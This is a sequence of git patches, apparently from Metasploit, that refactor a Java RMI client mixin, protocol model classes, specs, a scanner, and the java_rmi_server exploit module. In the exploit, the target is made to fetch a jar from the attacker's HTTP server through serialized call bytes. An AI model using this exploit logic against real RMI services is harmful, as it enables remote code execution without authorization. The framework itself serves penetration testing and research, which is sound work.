b/spec/lib/msf/rmi/client/streams_spec.rb @@ -16,8 +16,8 @@ describe Msf::Rmi::Client::Streams do let(:default_header) { "JRMI\x00\x02\x4b" } let(:header_opts) do { - :version => 1, - :protocol => Rex::Proto::Rmi::Model::MULTIPLEX_PROTOCOL + :version => 1, + :protocol => Rex::Proto::Rmi::Model::MULTIPLEX_PROTOCOL } end let(:opts_header) { "JRMI\x00\x01\x4d" } @@ -30,6 +30,23 @@ describe Msf::Rmi::Client::Streams do end let(:opts_call) { "\x52\xac\xed\x00\x05" } + let(:file_jar) { 'file:RMIClassLoaderSecurityTest/test.jar' } + + let(:call_gc) do + "\xac\xed\x00\x05\x77\x22\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + + "\xf6\xb6\x89\x8d\x8b\xf2\x86\x43\x75\x72\x00\x18\x5b\x4c\x6a\x61" + + "\x76\x61\x2e\x72\x6d\x69\x2e\x73\x65\x72\x76\x65\x72\x2e\x4f\x62" + + "\x6a\x49\x44\x3b\x87\x13\x00\xb8\xd0\x2c\x64\x7e\x02\x00\x00\x70" + + "\x78\x70\x00\x00\x00\x00\x77\x08\x00\x00\x00\x00\x00\x00\x00\x00" + + "\x73\x72\x00\x14\x6d\x65\x74\x61\x73\x70\x6c\x6f\x69\x74\x2e\x52" + + "\x4d\x49\x4c\x6f\x61\x64\x65\x72\xa1\x65\x44\xba\x26\xf9\xc2\xf4" + + "\x02\x00\x00\x74\x00\x28\x66\x69\x6c\x65\x3a\x52\x4d\x49\x43\x6c" + + "\x61\x73\x73\x4c\x6f\x61\x64\x65\x72\x53\x65\x63\x75\x72\x69\x74" + + "\x79\x54\x65\x73\x74\x2f\x74\x65\x73\x74\x2e\x6a\x61\x72\x78\x70" + + "\x77\x01\x00" + end + describe "#build_header" do context "when no opts" do it "creates a Rex::Proto::Rmi::Model::OutputHeader" do @@ -73,5 +90,13 @@ describe Msf::Rmi::Client::Streams do end end end + + describe "#build_call" do + context "when using test file: jar" do + it "creates a correct stream" do + expect(mod.build_gc_call_data(file_jar).encode).to eq(call_gc) + end + end + end end From 3debcef00bc385071b6803b5eeacffe08d2d5cf0 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 8 Jan 2015 14:24:27 -0600 Subject: [PATCH 021/103] Fix call from aux module --- modules/auxiliary/scanner/misc/java_rmi_server.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/misc/java_rmi_server.rb b/modules/auxiliary/scanner/misc/java_rmi_server.rb index e100542dff..2e13f363c5 100644 --- a/modules/auxiliary/scanner/misc/java_rmi_server.rb +++ b/modules/auxiliary/scanner/misc/java_rmi_server.rb @@ -50,7 +50,7 @@ class Metasploit3 < Msf::Auxiliary jar = Rex::Text.rand_text_alpha(rand(8)+1) + '.jar' jar_url = "file:RMIClassLoaderSecurityTest/" + jar begin - return_data = send_call(call_data: build_gc_call(jar_url)) + return_data = send_call(call_data: build_gc_call_data(jar_url)) rescue ::RuntimeError print_error("#{peer} - Failed to send RMI Call, anyway JAVA RMI Endpoint detected") report_service(:host => rhost, :port => rport, :name => "java-rmi", :info => "") From 956bf0c8f91f5f1226c3c1a7961ba63113ccffb6 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 8 Jan 2015 14:31:37 -0600 Subject: [PATCH 022/103] Fix indentation --- lib/msf/rmi/client/streams.rb | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/lib/msf/rmi/client/streams.rb b/lib/msf/rmi/client/streams.rb index a5a45ddd23..b147e891f8 100644 --- a/lib/msf/rmi/client/streams.rb +++ b/lib/msf/rmi/client/streams.rb @@ -50,7 +50,7 @@ module Msf # arbitrary classes # # @param jar_url [String] the (URL) location pointing to the jar containing the - # metasploit.RMILoader. + # metasploit.RMILoader. # @return [Rex::Java::Serialization::Model::Stream] def build_gc_call_data(jar_url) stream = Rex::Java::Serialization::Model::Stream.new @@ -63,8 +63,8 @@ module Msf new_array_annotation = Rex::Java::Serialization::Model::Annotation.new new_array_annotation.contents = [ - Rex::Java::Serialization::Model::NullReference.new, - Rex::Java::Serialization::Model::EndBlockData.new + Rex::Java::Serialization::Model::NullReference.new, + Rex::Java::Serialization::Model::EndBlockData.new ] new_array_super = Rex::Java::Serialization::Model::ClassDesc.new @@ -96,8 +96,8 @@ module Msf new_class_desc.fields = [] new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new new_class_desc.class_annotation.contents = [ - Rex::Java::Serialization::Model::Utf.new(nil, jar_url), - Rex::Java::Serialization::Model::EndBlockData.new + Rex::Java::Serialization::Model::Utf.new(nil, jar_url), + Rex::Java::Serialization::Model::EndBlockData.new ] new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new new_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new From 873ade3b8a8eb03dd41c0c682dbf35a1c3e706c7 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 8 Jan 2015 14:52:55 -0600 Subject: [PATCH 023/103] Refactor exploit module --- lib/msf/rmi/client.rb | 4 +- .../exploits/multi/misc/java_rmi_server.rb | 61 +++++-------------- 2 files changed, 17 insertions(+), 48 deletions(-) diff --git a/lib/msf/rmi/client.rb b/lib/msf/rmi/client.rb index 27ff7d85ad..98ebbe2930 100644 --- a/lib/msf/rmi/client.rb +++ b/lib/msf/rmi/client.rb @@ -62,9 +62,9 @@ module Msf nsock = opts[:sock] || sock stream = build_call(opts) nsock.put(stream.encode) - return_data = Rex::Proto::Rmi::Model::ReturnData.decode(nsock) + #return_data = Rex::Proto::Rmi::Model::ReturnData.decode(nsock) - return_data.return_value + #return_data.return_value end end end diff --git a/modules/exploits/multi/misc/java_rmi_server.rb b/modules/exploits/multi/misc/java_rmi_server.rb index ca24e3f50f..a97a87fca7 100644 --- a/modules/exploits/multi/misc/java_rmi_server.rb +++ b/modules/exploits/multi/misc/java_rmi_server.rb @@ -8,7 +8,7 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking - include Msf::Exploit::Remote::Tcp + include Msf::Rmi::Client include Msf::Exploit::Remote::HttpServer def initialize(info = {}) @@ -113,44 +113,27 @@ class Metasploit3 < Msf::Exploit::Remote end def primer + print_status("#{peer} - Sending RMI Header...") connect + begin + send_header + rescue ::RuntimeError + print_error("#{peer} - Filed to negotiate RMI protocol") + disconnect + return + end + # Determine if the instance allows remote class loading + print_status("#{peer} - Sending RMI Call...") jar = rand_text_alpha(rand(8)+1) + '.jar' - old_url = "file:./rmidummy.jar" new_url = get_uri + '/' + jar - packet = gen_rmi_packet - # Java strings in serialized data are prefixed with a 2-byte, big endian length - # (at least, as long as they are shorter than 65536 bytes) - find_me = [old_url.length].pack("n") + old_url - idx = packet.index(find_me) - len = [new_url.length].pack("n") - # Now replace it with the new url - packet[idx, find_me.length] = len + new_url - - # write out minimal header and packet - print_status("#{peer} - Connected and sending request for #{new_url}") - #sock.put("JRMI" + [2].pack("n") + "K" + [0].pack("n") + [0].pack("N") + packet); - sock.put("JRMI" + [2,0x4b,0,0].pack("nCnN") + packet) - - buf = "" - 1.upto(6) do - res = sock.get_once(-1, 5) rescue nil - break unless res - break if session_created? - buf << res + begin + return_data = send_call(call_data: build_gc_call_data(new_url)) + rescue ::RuntimeError + fail_with(Failure::Unknown, "#{peer} - Failed to send RMI Call, anyway JAVA RMI Endpoint detected") end disconnect - - if buf =~ /RMI class loader disabled/ - fail_with(Failure::NotVulnerable, "#{peer} - The RMI class loader is disabled") - end - - if buf =~ /java.lang.ClassNotFoundException/ - fail_with(Failure::Unknown, "#{peer} - The RMI class loader couldn't find the payload") - end - - print_good("#{peer} - Target may be exploitable...") end def on_request_uri(cli, request) @@ -175,20 +158,6 @@ class Metasploit3 < Msf::Exploit::Remote end end - - def gen_rmi_packet - "\x50\xac\xed\x00\x05\x77\x22\x00\x00\x00\x00\x00\x00\x00\x02\x00" + - "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + - "\x00\xf6\xb6\x89\x8d\x8b\xf2\x86\x43\x75\x72\x00\x18\x5b\x4c\x6a" + - "\x61\x76\x61\x2e\x72\x6d\x69\x2e\x73\x65\x72\x76\x65\x72\x2e\x4f" + - "\x62\x6a\x49\x44\x3b\x87\x13\x00\xb8\xd0\x2c\x64\x7e\x02\x00\x00" + - "\x70\x78\x70\x00\x00\x00\x00\x77\x08\x00\x00\x00\x00\x00\x00\x00" + - "\x00\x73\x72\x00\x14\x6d\x65\x74\x61\x73\x70\x6c\x6f\x69\x74\x2e" + - "\x52\x4d\x49\x4c\x6f\x61\x64\x65\x72\xa1\x65\x44\xba\x26\xf9\xc2" + - "\xf4\x02\x00\x00\x74\x00\x13\x66\x69\x6c\x65\x3a\x2e\x2f\x72\x6d" + - "\x69\x64\x75\x6d\x6d\x79\x2e\x6a\x61\x72\x78\x70\x77\x01\x00\x0a" - end - def autofilter return true end From ca765e2cc56352150191233f2dc50e8ff006b670 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 8 Jan 2015 15:46:24 -0600 Subject: [PATCH 024/103] Refactor client mixin --- lib/msf/rmi/client.rb | 78 +++++++++++++++---- .../auxiliary/scanner/misc/java_rmi_server.rb | 29 +++---- 2 files changed, 75 insertions(+), 32 deletions(-) diff --git a/lib/msf/rmi/client.rb b/lib/msf/rmi/client.rb index 98ebbe2930..21073af7b5 100644 --- a/lib/msf/rmi/client.rb +++ b/lib/msf/rmi/client.rb @@ -33,38 +33,86 @@ module Msf "#{rhost}:#{rport}" end - # Sends a RMI header stream and reads the Protocol Ack + # Sends a RMI header stream # # @param opts [Hash] # @option opts [Rex::Socket::Tcp] :sock - # @return [Rex::Proto::Rmi::Model::ProtocolAck] - # @raise [RuntimeError] - # @see #build_header - # @see Rex::Proto::Rmi::Model::ProtocolAck.decode + # @return [Fixnum] the number of bytes sent + # @see Msf::Rmi::Client::Streams#build_header def send_header(opts = {}) nsock = opts[:sock] || sock stream = build_header(opts) nsock.put(stream.encode + "\x00\x00\x00\x00\x00\x00") - ack = Rex::Proto::Rmi::Model::ProtocolAck.decode(nsock) - - ack end - # Sends a RMI CALL stream and reads the ReturnData + # Sends a RMI CALL stream # # @param opts [Hash] # @option opts [Rex::Socket::Tcp] :sock - # @return [Rex::Java::Serialization::Model::Stream] the call return value - # @raise [RuntimeError] when the response can't be decoded - # @see #build_call - # @see Rex::Proto::Rmi::Model::ReturnData.decode + # @return [Fixnum] the number of bytes sent + # @see Msf::Rmi::Client::Streams#build_call def send_call(opts = {}) nsock = opts[:sock] || sock stream = build_call(opts) nsock.put(stream.encode) - #return_data = Rex::Proto::Rmi::Model::ReturnData.decode(nsock) + end - #return_data.return_value + # Reads the Protocol Ack + # + # @param opts [Hash] + # @option opts [Rex::Socket::Tcp] :sock + # @return [Rex::Proto::Rmi::Model::ProtocolAck] + # @see Rex::Proto::Rmi::Model::ProtocolAck.decode + def recv_protocol_ack(opts = {}) + nsock = opts[:sock] || sock + data = safe_get_once(nsock) + begin + ack = Rex::Proto::Rmi::Model::ProtocolAck.decode(StringIO.new(data)) + rescue ::RuntimeError + return nil + end + + ack + end + + # Reads a ReturnData message and returns the java serialized stream + # with the return data value. + # + # @param opts [Hash] + # @option opts [Rex::Socket::Tcp] :sock + # @return [Rex::Java::Serialization::Stream] + # @see Rex::Proto::Rmi::Model::ReturnData.decode + def recv_return(opts = {}) + nsock = opts[:sock] || sock + data = safe_get_once(nsock) + begin + return_data = Rex::Proto::Rmi::Model::ReturnData.decode(StringIO.new(data)) + rescue ::RuntimeError + return nil + end + + return_data.return_value + end + + # Helper method to read fragmented data from a ```Rex::Socket::Tcp``` + # + # @param opts [Hash] + # @option opts [Rex::Socket::Tcp] :sock + # @return [String] + def safe_get_once(nsock = sock) + data = '' + res = nsock.get_once + until res.nil? || res.length < 1448 + data << res + begin + res = nsock.get_once + rescue ::EOFError + res = nil + end + end + + data << res if res + data end end end diff --git a/modules/auxiliary/scanner/misc/java_rmi_server.rb b/modules/auxiliary/scanner/misc/java_rmi_server.rb index 2e13f363c5..491f209ac5 100644 --- a/modules/auxiliary/scanner/misc/java_rmi_server.rb +++ b/modules/auxiliary/scanner/misc/java_rmi_server.rb @@ -37,9 +37,10 @@ class Metasploit3 < Msf::Auxiliary def run_host(target_host) vprint_status("#{peer} - Sending RMI Header...") connect - begin - send_header - rescue ::RuntimeError + + send_header + ack = recv_protocol_ack + if ack.nil? print_error("#{peer} - Filed to negotiate RMI protocol") disconnect return @@ -49,15 +50,15 @@ class Metasploit3 < Msf::Auxiliary vprint_status("#{peer} - Sending RMI Call...") jar = Rex::Text.rand_text_alpha(rand(8)+1) + '.jar' jar_url = "file:RMIClassLoaderSecurityTest/" + jar - begin - return_data = send_call(call_data: build_gc_call_data(jar_url)) - rescue ::RuntimeError + + send_call(call_data: build_gc_call_data(jar_url)) + return_data = recv_return + + if return_data.nil? print_error("#{peer} - Failed to send RMI Call, anyway JAVA RMI Endpoint detected") report_service(:host => rhost, :port => rport, :name => "java-rmi", :info => "") - disconnect return end - disconnect if loader_enabled?(return_data) print_good("#{rhost}:#{rport} Java RMI Endpoint Detected: Class Loader Enabled") @@ -73,22 +74,16 @@ class Metasploit3 < Msf::Auxiliary print_status("#{rhost}:#{rport} Java RMI Endpoint Detected: Class Loader Disabled") report_service(:host => rhost, :port => rport, :name => "java-rmi", :info => "Class Loader: Disabled") end - end def loader_enabled?(stream) stream.contents.each do |content| if content.class == Rex::Java::Serialization::Model::NewObject && content.class_desc.description.class == Rex::Java::Serialization::Model::NewClassDesc && - content.class_desc.description.class_name.contents == 'java.lang.ClassNotFoundException' - - if content.class_data[0].class == Rex::Java::Serialization::Model::NullReference && - content.class_data[1].contents.include?('RMI class loader disabled') - return false - else + content.class_desc.description.class_name.contents == 'java.lang.ClassNotFoundException'&& + content.class_data[0].class == Rex::Java::Serialization::Model::NullReference && + !content.class_data[1].contents.include?('RMI class loader disabled') return true - end - end end From fa5cd928a10f398a552adc5bbf36282e066a99d5 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 8 Jan 2015 16:04:56 -0600 Subject: [PATCH 025/103] Refactor exploit to use the mixin --- lib/msf/rmi/client.rb | 7 ++- .../exploits/multi/misc/java_rmi_server.rb | 60 +++++++++++++++---- 2 files changed, 53 insertions(+), 14 deletions(-) diff --git a/lib/msf/rmi/client.rb b/lib/msf/rmi/client.rb index 21073af7b5..bff56c25fa 100644 --- a/lib/msf/rmi/client.rb +++ b/lib/msf/rmi/client.rb @@ -101,7 +101,12 @@ module Msf # @return [String] def safe_get_once(nsock = sock) data = '' - res = nsock.get_once + begin + res = nsock.get_once + rescue ::EOFError + res = nil + end + until res.nil? || res.length < 1448 data << res begin diff --git a/modules/exploits/multi/misc/java_rmi_server.rb b/modules/exploits/multi/misc/java_rmi_server.rb index a97a87fca7..811dcfc0f6 100644 --- a/modules/exploits/multi/misc/java_rmi_server.rb +++ b/modules/exploits/multi/misc/java_rmi_server.rb @@ -113,24 +113,32 @@ class Metasploit3 < Msf::Exploit::Remote end def primer - print_status("#{peer} - Sending RMI Header...") connect - begin - send_header - rescue ::RuntimeError - print_error("#{peer} - Filed to negotiate RMI protocol") - disconnect - return + + print_status("#{peer} - Sending RMI Header...") + send_header + ack = recv_protocol_ack + if ack.nil? + fail_with(Failure::NoTarget, "#{peer} - Filed to negotiate RMI protocol") end - # Determine if the instance allows remote class loading - print_status("#{peer} - Sending RMI Call...") jar = rand_text_alpha(rand(8)+1) + '.jar' new_url = get_uri + '/' + jar - begin - return_data = send_call(call_data: build_gc_call_data(new_url)) - rescue ::RuntimeError - fail_with(Failure::Unknown, "#{peer} - Failed to send RMI Call, anyway JAVA RMI Endpoint detected") + + print_status("#{peer} - Sending RMI Call...") + send_call(call_data: build_gc_call_data(new_url)) + return_data = recv_return + + if return_data.nil? && !session_created? + fail_with(Failure::Unknown, 'RMI Call failed') + end + + if return_data && loader_disabled?(return_data) + fail_with(Failure::NotVulnerable, 'The RMI class loader is disabled') + end + + if return_data && class_not_found?(return_data) + fail_with(Failure::Unknown, 'The RMI class loader couldn\'t find the payload') end disconnect @@ -162,4 +170,30 @@ class Metasploit3 < Msf::Exploit::Remote return true end + def loader_disabled?(stream) + stream.contents.each do |content| + if content.class == Rex::Java::Serialization::Model::NewObject && + content.class_desc.description.class == Rex::Java::Serialization::Model::NewClassDesc && + content.class_desc.description.class_name.contents == 'java.lang.ClassNotFoundException'&& + content.class_data[0].class == Rex::Java::Serialization::Model::NullReference && + content.class_data[1].contents.include?('RMI class loader disabled') + return true + end + end + + false + end + + def class_not_found?(stream) + stream.contents.each do |content| + if content.class == Rex::Java::Serialization::Model::NewObject && + content.class_desc.description.class == Rex::Java::Serialization::Model::NewClassDesc && + content.class_desc.description.class_name.contents == 'java.lang.ClassNotFoundException' + return true + end + end + + false + end + end From 5dfc0f1665d5d4a0b71c6e516d67af1cedfbf089 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 8 Jan 2015 16:48:11 -0600 Subject: [PATCH 026/103] Fix Client mixin specs --- spec/lib/msf/rmi/client_spec.rb | 106 ++++++++++++++++---------------- 1 file changed, 54 insertions(+), 52 deletions(-) diff --git a/spec/lib/msf/rmi/client_spec.rb b/spec/lib/msf/rmi/client_spec.rb index f1fcdc522f..4454b50678 100644 --- a/spec/lib/msf/rmi/client_spec.rb +++ b/spec/lib/msf/rmi/client_spec.rb @@ -7,12 +7,29 @@ require 'msf/rmi/client' class MyStringIO < StringIO - DEFAULT_HEADER = "JRMI\x00\x02\x4b\x00\x00\x00\x00\x00\x00" - MULTIPLEX_HEADER = "JRMI\x00\x02\x4d\x00\x00\x00\x00\x00\x00" - PROTOCOL_ACK = "\x4e\x00\x0e\x31\x37\x32\x2e\x31\x36\x2e\x31\x35\x38\x2e\x31\x33\x32\x00\x00\x06\xea" - PROTOCOL_NOT_SUPPORTED = "\x4f" - DEFAULT_CALL = "\x50\xac\xed\x00\x05" - RETURN_DATA = + def put(data) + write(data) + end + + def get_once + read + end +end + +describe Msf::Rmi::Client do + subject(:mod) do + mod = ::Msf::Exploit.new + mod.extend ::Msf::Rmi::Client + mod.send(:initialize) + mod + end + + let(:io) { MyStringIO.new('', 'w+b') } + let(:protocol_not_supported) { "\x4f" } + let(:protocol_not_supported_io) { MyStringIO.new(protocol_not_supported) } + let(:protocol_ack) { "\x4e\x00\x0e\x31\x37\x32\x2e\x31\x36\x2e\x31\x35\x38\x2e\x31\x33\x32\x00\x00\x06\xea" } + let(:protocol_ack_io) { MyStringIO.new(protocol_ack) } + let(:return_data) do "\x51\xac\xed\x00\x05\x77\x0f\x01\xd2\x4f\xdf\x47\x00\x00\x01\x49" + "\xb5\xe4\x92\x78\x80\x15\x73\x72\x00\x12\x6a\x61\x76\x61\x2e\x72" + "\x6d\x69\x2e\x64\x67\x63\x2e\x4c\x65\x61\x73\x65\xb0\xb5\xe2\x66" + @@ -31,61 +48,46 @@ class MyStringIO < StringIO "\x36\x4f\x12\x02\x00\x03\x53\x00\x05\x63\x6f\x75\x6e\x74\x4a\x00" + "\x04\x74\x69\x6d\x65\x49\x00\x06\x75\x6e\x69\x71\x75\x65\x70\x78" + "\x70\x80\x01\x00\x00\x01\x49\xb5\xf8\x00\xea\xe9\x62\xc1\xc0" - - def put(data) - case data - when DEFAULT_HEADER - seek(0) - write(PROTOCOL_ACK) - seek(0) - when MULTIPLEX_HEADER - seek(0) - write(PROTOCOL_NOT_SUPPORTED) - seek(0) - when DEFAULT_CALL - seek(0) - write(RETURN_DATA) - seek(0) - else - write(data) - end end - - def get_once(length, timeout = 10) - read(length) - end -end - -describe Msf::Rmi::Client do - subject(:mod) do - mod = ::Msf::Exploit.new - mod.extend ::Msf::Rmi::Client - mod.send(:initialize) - mod - end - - let(:io) { MyStringIO.new('', 'w+b') } + let(:return_io) { MyStringIO.new(return_data) } describe "#send_header" do - context "when end point returns protocol ack" do - it "returns a Rex::Proto::Rmi::Model::ProtocolAck" do - expect(mod.send_header(sock: io)).to be_a(Rex::Proto::Rmi::Model::ProtocolAck) - end - end - - context "when end point returns protocol not supported" do - it "raises RuntimeError" do - expect do - mod.send_header(sock: io, protocol: Rex::Proto::Rmi::Model::MULTIPLEX_PROTOCOL) - end.to raise_error(::RuntimeError) - end + it "returns the number of bytes sent" do + expect(mod.send_header(sock: io)).to eq(13) end end describe "#send_call" do + it "returns the number of bytes sent" do + expect(mod.send_call(sock: io)).to eq(5) + end + end + + + describe "#recv_protocol_ack" do + context "when end point returns protocol ack" do + it "returns a Rex::Proto::Rmi::Model::ProtocolAck" do + expect(mod.recv_protocol_ack(sock: protocol_ack_io)).to be_a(Rex::Proto::Rmi::Model::ProtocolAck) + end + end + + context "when end point returns protocol not supported" do + it "return nil" do + expect(mod.recv_protocol_ack(sock: protocol_not_supported_io)).to be_nil + end + end + end + + describe "#recv_return" do context "when end point returns a value to the call" do it "returns a Rex::Java::Serialization::Model::Stream" do - expect(mod.send_call(sock: io)).to be_a(Rex::Java::Serialization::Model::Stream) + expect(mod.recv_return(sock: return_io)).to be_a(Rex::Java::Serialization::Model::Stream) + end + end + + context "when end point doesn't return a value to the call" do + it "returns nil" do + expect(mod.recv_return(sock: io)).to be_nil end end end From c05b2e2b0337f57d99bb628ac097f93e46216567 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 8 Jan 2015 16:51:33 -0600 Subject: [PATCH 027/103] Fix Continuation specs --- spec/lib/rex/proto/rmi/model/continuation_spec.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/spec/lib/rex/proto/rmi/model/continuation_spec.rb b/spec/lib/rex/proto/rmi/model/continuation_spec.rb index feb5f50d87..dc3b1cefd2 100644 --- a/spec/lib/rex/proto/rmi/model/continuation_spec.rb +++ b/spec/lib/rex/proto/rmi/model/continuation_spec.rb @@ -19,7 +19,7 @@ describe Rex::Proto::Rmi::Model::Continuation do describe "#decode" do it "returns the Rex::Proto::Rmi::Model::Continuation decoded" do - expect(continuation.decode(sample_io)).to eq(protocol_ack) + expect(continuation.decode(sample_io)).to eq(continuation) end it "decodes length correctly" do @@ -41,7 +41,7 @@ describe Rex::Proto::Rmi::Model::Continuation do describe "#encode" do it "encodes the Continuation correctly" do continuation.address = '172.16.158.132' - continuation.length = protocol_ack.address.length + continuation.length = continuation.address.length continuation.port = 0 expect(continuation.encode).to eq(sample) From 97a23788b69b352461050f2341cf6f1e321f8e0a Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 8 Jan 2015 17:22:21 -0600 Subject: [PATCH 028/103] Add unused args to get_once on specs --- spec/lib/msf/rmi/client_spec.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/spec/lib/msf/rmi/client_spec.rb b/spec/lib/msf/rmi/client_spec.rb index 4454b50678..95c35687ba 100644 --- a/spec/lib/msf/rmi/client_spec.rb +++ b/spec/lib/msf/rmi/client_spec.rb @@ -11,7 +11,7 @@ class MyStringIO < StringIO write(data) end - def get_once + def get_once(length = -1, timeout = 10) read end end From ebac17893cfe55f76cf34a80a016c322fdfb20cc Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 8 Jan 2015 17:41:29 -0600 Subject: [PATCH 029/103] Use a new class name --- spec/lib/msf/rmi/client_spec.rb | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/spec/lib/msf/rmi/client_spec.rb b/spec/lib/msf/rmi/client_spec.rb index 95c35687ba..6f27918cf6 100644 --- a/spec/lib/msf/rmi/client_spec.rb +++ b/spec/lib/msf/rmi/client_spec.rb @@ -5,7 +5,7 @@ require 'rex/java/serialization' require 'rex/proto/rmi' require 'msf/rmi/client' -class MyStringIO < StringIO +class RmiStringIO < StringIO def put(data) write(data) @@ -24,11 +24,11 @@ describe Msf::Rmi::Client do mod end - let(:io) { MyStringIO.new('', 'w+b') } + let(:io) { RmiStringIO.new('', 'w+b') } let(:protocol_not_supported) { "\x4f" } - let(:protocol_not_supported_io) { MyStringIO.new(protocol_not_supported) } + let(:protocol_not_supported_io) { RmiStringIO.new(protocol_not_supported) } let(:protocol_ack) { "\x4e\x00\x0e\x31\x37\x32\x2e\x31\x36\x2e\x31\x35\x38\x2e\x31\x33\x32\x00\x00\x06\xea" } - let(:protocol_ack_io) { MyStringIO.new(protocol_ack) } + let(:protocol_ack_io) { RmiStringIO.new(protocol_ack) } let(:return_data) do "\x51\xac\xed\x00\x05\x77\x0f\x01\xd2\x4f\xdf\x47\x00\x00\x01\x49" + "\xb5\xe4\x92\x78\x80\x15\x73\x72\x00\x12\x6a\x61\x76\x61\x2e\x72" + @@ -49,7 +49,7 @@ describe Msf::Rmi::Client do "\x04\x74\x69\x6d\x65\x49\x00\x06\x75\x6e\x69\x71\x75\x65\x70\x78" + "\x70\x80\x01\x00\x00\x01\x49\xb5\xf8\x00\xea\xe9\x62\xc1\xc0" end - let(:return_io) { MyStringIO.new(return_data) } + let(:return_io) { RmiStringIO.new(return_data) } describe "#send_header" do it "returns the number of bytes sent" do From 1f0b986bf1940228f947ad4ef9fcd679b2ca8e93 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Tue, 13 Jan 2015 10:43:27 -0600 Subject: [PATCH 030/103] Change filenames --- lib/rex/proto/rmi/model/{dbg_ack.rb => dgc_ack_spec.rb} | 0 spec/lib/rex/proto/rmi/model/{dbg_ack_spec.rb => dgc_ack_spec.rb} | 0 2 files changed, 0 insertions(+), 0 deletions(-) rename lib/rex/proto/rmi/model/{dbg_ack.rb => dgc_ack_spec.rb} (100%) rename spec/lib/rex/proto/rmi/model/{dbg_ack_spec.rb => dgc_ack_spec.rb} (100%) diff --git a/lib/rex/proto/rmi/model/dbg_ack.rb b/lib/rex/proto/rmi/model/dgc_ack_spec.rb similarity index 100% rename from lib/rex/proto/rmi/model/dbg_ack.rb rename to lib/rex/proto/rmi/model/dgc_ack_spec.rb diff --git a/spec/lib/rex/proto/rmi/model/dbg_ack_spec.rb b/spec/lib/rex/proto/rmi/model/dgc_ack_spec.rb similarity index 100% rename from spec/lib/rex/proto/rmi/model/dbg_ack_spec.rb rename to spec/lib/rex/proto/rmi/model/dgc_ack_spec.rb From 3946b95bc34cec4cfe932490620c1cee097678eb Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Tue, 13 Jan 2015 10:45:00 -0600 Subject: [PATCH 031/103] Update rex code and specs --- lib/rex/proto/rmi/model.rb | 4 ++-- lib/rex/proto/rmi/model/dgc_ack_spec.rb | 2 +- spec/lib/rex/proto/rmi/model/dgc_ack_spec.rb | 8 ++++---- 3 files changed, 7 insertions(+), 7 deletions(-) diff --git a/lib/rex/proto/rmi/model.rb b/lib/rex/proto/rmi/model.rb index 9b42971d13..3166506d87 100644 --- a/lib/rex/proto/rmi/model.rb +++ b/lib/rex/proto/rmi/model.rb @@ -10,7 +10,7 @@ module Rex MULTIPLEX_PROTOCOL = 0x4d CALL_MESSAGE = 0x50 PING_MESSAGE = 0x52 - DBG_ACK_MESSAGE = 0x54 + DGC_ACK_MESSAGE = 0x54 PROTOCOL_ACK = 0x4e PROTOCOL_NOT_SUPPORTED = 0x4f RETURN_DATA = 0x51 @@ -26,6 +26,6 @@ require 'rex/proto/rmi/model/protocol_ack' require 'rex/proto/rmi/model/continuation' require 'rex/proto/rmi/model/call' require 'rex/proto/rmi/model/return_data' -require 'rex/proto/rmi/model/dbg_ack' +require 'rex/proto/rmi/model/dgc_ack' require 'rex/proto/rmi/model/ping' require 'rex/proto/rmi/model/ping_ack' \ No newline at end of file diff --git a/lib/rex/proto/rmi/model/dgc_ack_spec.rb b/lib/rex/proto/rmi/model/dgc_ack_spec.rb index 0c4ea704ee..df1086c140 100644 --- a/lib/rex/proto/rmi/model/dgc_ack_spec.rb +++ b/lib/rex/proto/rmi/model/dgc_ack_spec.rb @@ -7,7 +7,7 @@ module Rex # This class provides a representation of an RMI DbgACK stream. It is an acknowledgement # directed to a server's distributed garbage collector that indicates that remote objects # in a return value from a server have been received by the client. - class DbgAck < Element + class DgcAck < Element # @!attribute stream_id # @return [Fixnum] the input stream id diff --git a/spec/lib/rex/proto/rmi/model/dgc_ack_spec.rb b/spec/lib/rex/proto/rmi/model/dgc_ack_spec.rb index 0f199d3876..5844d7c48d 100644 --- a/spec/lib/rex/proto/rmi/model/dgc_ack_spec.rb +++ b/spec/lib/rex/proto/rmi/model/dgc_ack_spec.rb @@ -4,7 +4,7 @@ require 'spec_helper' require 'stringio' require 'rex/proto/rmi' -describe Rex::Proto::Rmi::Model::DbgAck do +describe Rex::Proto::Rmi::Model::DgcAck do subject(:dbg_ack) do described_class.new @@ -17,13 +17,13 @@ describe Rex::Proto::Rmi::Model::DbgAck do let(:sample_io) { StringIO.new(sample) } describe "#decode" do - it "returns the Rex::Proto::Rmi::Model::DbgAck decoded" do + it "returns the Rex::Proto::Rmi::Model::DgcAck decoded" do expect(dbg_ack.decode(sample_io)).to eq(dbg_ack) end it "decodes stream_id correctly" do dbg_ack.decode(sample_io) - expect(dbg_ack.stream_id).to eq(Rex::Proto::Rmi::Model::DBG_ACK_MESSAGE) + expect(dbg_ack.stream_id).to eq(Rex::Proto::Rmi::Model::DGC_ACK_MESSAGE) end it "decodes address correctly" do @@ -34,7 +34,7 @@ describe Rex::Proto::Rmi::Model::DbgAck do describe "#encode" do it "encodes the DbgAck correctly" do - dbg_ack.stream_id = 